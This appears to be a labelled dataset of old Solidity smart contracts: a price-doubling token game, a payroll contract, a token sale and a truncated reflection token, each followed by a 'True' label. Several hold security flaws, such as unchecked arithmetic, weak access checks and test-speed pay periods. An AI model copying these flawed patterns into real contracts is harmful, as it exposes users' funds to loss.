uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract LowRiskBag {
using SafeMath for uint256;
address contractOwner;
uint tokenStartPrice = 0.001 ether;
uint tokenPrice;
address tokenOwner;
uint lastBuyBlock;
uint newRoundDelay = 40;
event Transfer(address indexed from, address indexed to, uint256 price);
event NewRound();
function LowRiskBag() public {
contractOwner = msg.sender;
tokenOwner = address(0);
lastBuyBlock = block.number;
tokenPrice = tokenStartPrice;
}
function changeContractOwner(address newOwner) public {
require(contractOwner == msg.sender);
contractOwner = newOwner;
}
function changeStartPrice(uint price) public {
require(contractOwner == msg.sender);
tokenStartPrice = price;
}
function changeNewRoundDelay(uint delay) public {
require(contractOwner == msg.sender);
newRoundDelay = delay;
}
function buyToken() public payable {
address currentOwner = tokenOwner;
uint256 currentPrice = tokenPrice;
require(currentOwner != msg.sender);
require(msg.value >= currentPrice);
require(currentPrice > 0);
uint256 paidTooMuch = msg.value.sub(currentPrice);
uint256 payment = currentPrice.div(2);
tokenPrice = currentPrice.mul(110).div(50);
tokenOwner = msg.sender;
lastBuyBlock = block.number;
Transfer(currentOwner, msg.sender, currentPrice);
if (currentOwner != address(0))
currentOwner.transfer(payment);
if (paidTooMuch > 0)
msg.sender.transfer(paidTooMuch);
}
function getBlocksToNextRound() public view returns(uint) {
if (lastBuyBlock + newRoundDelay < block.number)
return 0;
return lastBuyBlock + newRoundDelay + 1 - block.number;
}
function getCurrentData() public view returns (uint price, uint nextPrice, uint pool, uint nextPool, address owner, bool canFinish) {
owner = tokenOwner;
pool = tokenPrice.mul(50).div(110).mul(85).div(100);
nextPool = tokenPrice.mul(85).div(100);
price = tokenPrice;
nextPrice = price.mul(110).div(50);
if (getBlocksToNextRound() == 0)
canFinish = true;
else
canFinish = false;
}
function finishRound() public {
require(tokenPrice > tokenStartPrice);
require(tokenOwner == msg.sender || lastBuyBlock + newRoundDelay < block.number);
lastBuyBlock = block.number;
uint payout = tokenPrice.mul(50).div(110).mul(85).div(100); // 85% of last paid price
address owner = tokenOwner;
tokenPrice = tokenStartPrice;
tokenOwner = address(0);
owner.transfer(payout);
NewRound();
}
function payout(uint amount) public {
require(contractOwner == msg.sender);
uint balance = this.balance;
if (tokenPrice > tokenStartPrice)
balance -= tokenPrice.mul(50).div(110).mul(85).div(100); // payout for tokenOwner cant be paid out from contract owner
if (amount>balance)
amount = balance;
contractOwner.transfer(amount);
}
function getBalance() public view returns(uint balance) {
balance = this.balance;
if (tokenPrice > tokenStartPrice)
balance -= tokenPrice.mul(50).div(110).mul(85).div(100); // payout for tokenOwner cant be paid out from contract owner
}
} | True | [
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pragma solidity ^0.4.11;
contract ERC20
{
function totalSupply() constant returns (uint);
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract workForce
{
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier onlyEmployee()
{
require(workcrew[ employeeAddressIndex[msg.sender] ].yearlySalaryUSD > 0);
_;
}
/* Oracle address and owner address are the same */
modifier onlyOracle()
{
require(msg.sender == owner);
_;
}
struct Employee
{
uint employeeId;
string employeeName;
address employeeAddress;
uint[3] usdEthAntTokenDistribution;
uint yearlySalaryUSD;
uint startDate;
uint lastPayday;
uint lastTokenConfigDay;
}
/* Using a dynamic array because can't iterate mappings, or use push,length,delete cmds? */
Employee[] workcrew;
uint employeeIndex;
mapping( uint => uint ) employeeIdIndex;
mapping( string => uint ) employeeNameIndex;
mapping( address => uint ) employeeAddressIndex;
mapping( address => uint ) public exchangeRates;
address owner;
uint creationDate;
/* ANT token is Catnip */
address antAddr = 0x529ae9b61c174a3e005eda67eb755342558a1c3f;
/* USD token is Space Dollars */
address usdAddr = 0x41f1dcb0d41bf1e143461faf42c577a9219da415;
ERC20 antToken = ERC20(antAddr);
ERC20 usdToken = ERC20(usdAddr);
/* set to 1 Ether equals 275.00 USD */
uint oneUsdToEtherRate;
/* Constructor sets 1USD to equal 3.2 Finney or 2 Catnip */
function workForce() public
{
owner = msg.sender;
creationDate = now;
employeeIndex = 1000;
exchangeRates[antAddr] = 2;
oneUsdToEtherRate = 3200000000000000;
}
function indexTheWorkcrew() private
{
for( uint x = 0; x < workcrew.length; x++ )
{
employeeIdIndex[ workcrew[x].employeeId ] = x;
employeeNameIndex[ workcrew[x].employeeName ] = x;
employeeAddressIndex[ workcrew[x].employeeAddress ] = x;
}
}
function incompletePercent(uint[3] _distribution) internal returns (bool)
{
uint sum;
for( uint x = 0; x < 3; x++ ){ sum += _distribution[x]; }
if( sum != 100 ){ return true; }
else{ return false; }
}
function addEmployee(address _employeeAddress, string _employeeName, uint[3] _tokenDistribution, uint _initialUSDYearlySalary) onlyOwner
{
if( incompletePercent( _tokenDistribution)){ revert; }
employeeIndex++;
Employee memory newEmployee;
newEmployee.employeeId = employeeIndex;
newEmployee.employeeName = _employeeName;
newEmployee.employeeAddress = _employeeAddress;
newEmployee.usdEthAntTokenDistribution = _tokenDistribution;
newEmployee.yearlySalaryUSD = _initialUSDYearlySalary;
newEmployee.startDate = now;
newEmployee.lastPayday = now;
newEmployee.lastTokenConfigDay = now;
workcrew.push(newEmployee);
indexTheWorkcrew();
}
function setEmployeeSalary(uint _employeeID, uint _yearlyUSDSalary) onlyOwner
{
workcrew[ employeeIdIndex[_employeeID] ].yearlySalaryUSD = _yearlyUSDSalary;
}
function removeEmployee(uint _employeeID) onlyOwner
{
delete workcrew[ employeeIdIndex[_employeeID] ];
indexTheWorkcrew();
}
function addFunds() payable onlyOwner returns (uint)
{
return this.balance;
}
function getTokenBalance() constant returns (uint, uint)
{
return ( usdToken.balanceOf(address(this)), antToken.balanceOf(address(this)) );
}
function scapeHatch() onlyOwner
{
selfdestructTokens();
delete workcrew;
selfdestruct(owner);
}
function selfdestructTokens() private
{
antToken.transfer( owner,(antToken.balanceOf(address(this))));
usdToken.transfer( owner, (usdToken.balanceOf(address(this))));
}
function getEmployeeCount() constant onlyOwner returns (uint)
{
return workcrew.length;
}
function getEmployeeInfoById(uint _employeeId) constant onlyOwner returns (uint, string, uint, address, uint)
{
uint x = employeeIdIndex[_employeeId];
return (workcrew[x].employeeId, workcrew[x].employeeName, workcrew[x].startDate,
workcrew[x].employeeAddress, workcrew[x].yearlySalaryUSD );
}
function getEmployeeInfoByName(string _employeeName) constant onlyOwner returns (uint, string, uint, address, uint)
{
uint x = employeeNameIndex[_employeeName];
return (workcrew[x].employeeId, workcrew[x].employeeName, workcrew[x].startDate,
workcrew[x].employeeAddress, workcrew[x].yearlySalaryUSD );
}
function calculatePayrollBurnrate() constant onlyOwner returns (uint)
{
uint monthlyPayout;
for( uint x = 0; x < workcrew.length; x++ )
{
monthlyPayout += workcrew[x].yearlySalaryUSD / 12;
}
return monthlyPayout;
}
function calculatePayrollRunway() constant onlyOwner returns (uint)
{
uint dailyPayout = calculatePayrollBurnrate() / 30;
uint UsdBalance = usdToken.balanceOf(address(this));
UsdBalance += this.balance / oneUsdToEtherRate;
UsdBalance += antToken.balanceOf(address(this)) / exchangeRates[antAddr];
uint daysRemaining = UsdBalance / dailyPayout;
return daysRemaining;
}
function setPercentTokenAllocation(uint _usdTokens, uint _ethTokens, uint _antTokens) onlyEmployee
{
if( _usdTokens + _ethTokens + _antTokens != 100 ){revert;}
uint x = employeeAddressIndex[msg.sender];
/* change from 1 hours to 24 weeks */
if( now < workcrew[x].lastTokenConfigDay + 1 hours ){revert;}
workcrew[x].lastTokenConfigDay = now;
workcrew[x].usdEthAntTokenDistribution[0] = _usdTokens;
workcrew[x].usdEthAntTokenDistribution[1] = _ethTokens;
workcrew[x].usdEthAntTokenDistribution[2] = _antTokens;
}
function payday(uint _employeeId) public onlyEmployee
{
uint x = employeeIdIndex[_employeeId];
/* Change to 4 weeks for monthly pay period */
if( now < workcrew[x].lastPayday + 5 minutes ){ revert; }
if( msg.sender != workcrew[x].employeeAddress ){ revert; }
workcrew[x].lastPayday = now;
/* 7680 is for 5min pay periods. Change to 12 for monthly pay period */
uint paycheck = workcrew[x].yearlySalaryUSD / 7680;
uint usdTransferAmount = paycheck * workcrew[x].usdEthAntTokenDistribution[0] / 100;
uint ethTransferAmount = paycheck * workcrew[x].usdEthAntTokenDistribution[1] / 100;
uint antTransferAmount = paycheck * workcrew[x].usdEthAntTokenDistribution[2] / 100;
ethTransferAmount = ethTransferAmount * oneUsdToEtherRate;
msg.sender.transfer(ethTransferAmount);
antTransferAmount = antTransferAmount * exchangeRates[antAddr];
antToken.transfer( workcrew[x].employeeAddress, antTransferAmount );
usdToken.transfer( workcrew[x].employeeAddress, usdTransferAmount );
}
/* setting 1 USD equals X amount of tokens */
function setTokenExchangeRate(address _token, uint _tokenValue) onlyOracle
{
exchangeRates[_token] = _tokenValue;
}
/* setting 1 USD equals X amount of wei */
function setUsdToEtherExchangeRate(uint _weiValue) onlyOracle
{
oneUsdToEtherRate = _weiValue;
}
function UsdToEtherConvert(uint _UsdAmount) constant returns (uint)
{
uint etherVal = _UsdAmount * oneUsdToEtherRate;
return etherVal;
}
function UsdToTokenConvert(address _token, uint _UsdAmount) constant returns (uint)
{
uint tokenAmount = _UsdAmount * exchangeRates[_token];
return tokenAmount;
}
} | True | [
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pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract DGCASH {
// Public variables of the token
string public name = "DIGITAL CASH TOKEN";
string public symbol = "DGCASH";
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default
uint256 public totalSupply;
uint256 public datboiSupply = 10000000000;
uint256 public buyPrice = 100000000;
address public creator;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function DGCASH() public {
totalSupply = datboiSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give Digital Cash Token the total created tokens
creator = msg.sender;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/// @notice Buy tokens from contract by sending ether
function () payable internal {
uint amount = msg.value * buyPrice; // calculates the amount, made it so you can get many BOIS but to get MANY BOIS you have to spend ETH and not WEI
uint amountRaised;
amountRaised += msg.value; //many thanks bois, couldnt do it without r/me_irl
require(balanceOf[creator] >= amount); // checks if it has enough to sell
require(msg.value <= 10**17); // so any person who wants to put more then 0.1 ETH has time to think about what they are doing
balanceOf[msg.sender] += amount; // adds the amount to buyer's balance
balanceOf[creator] -= amount; // sends ETH to DatBoiCoinMint
Transfer(creator, msg.sender, amount); // execute an event reflecting the change
creator.transfer(amountRaised);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/**
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract REFLECTINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "REFLECT INU";
string private _symbol = "RINU";
uint8 private _decimals = 9;
uint256 public _taxFee = 15;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
address payable public _devWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 2500000 * 10**6 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
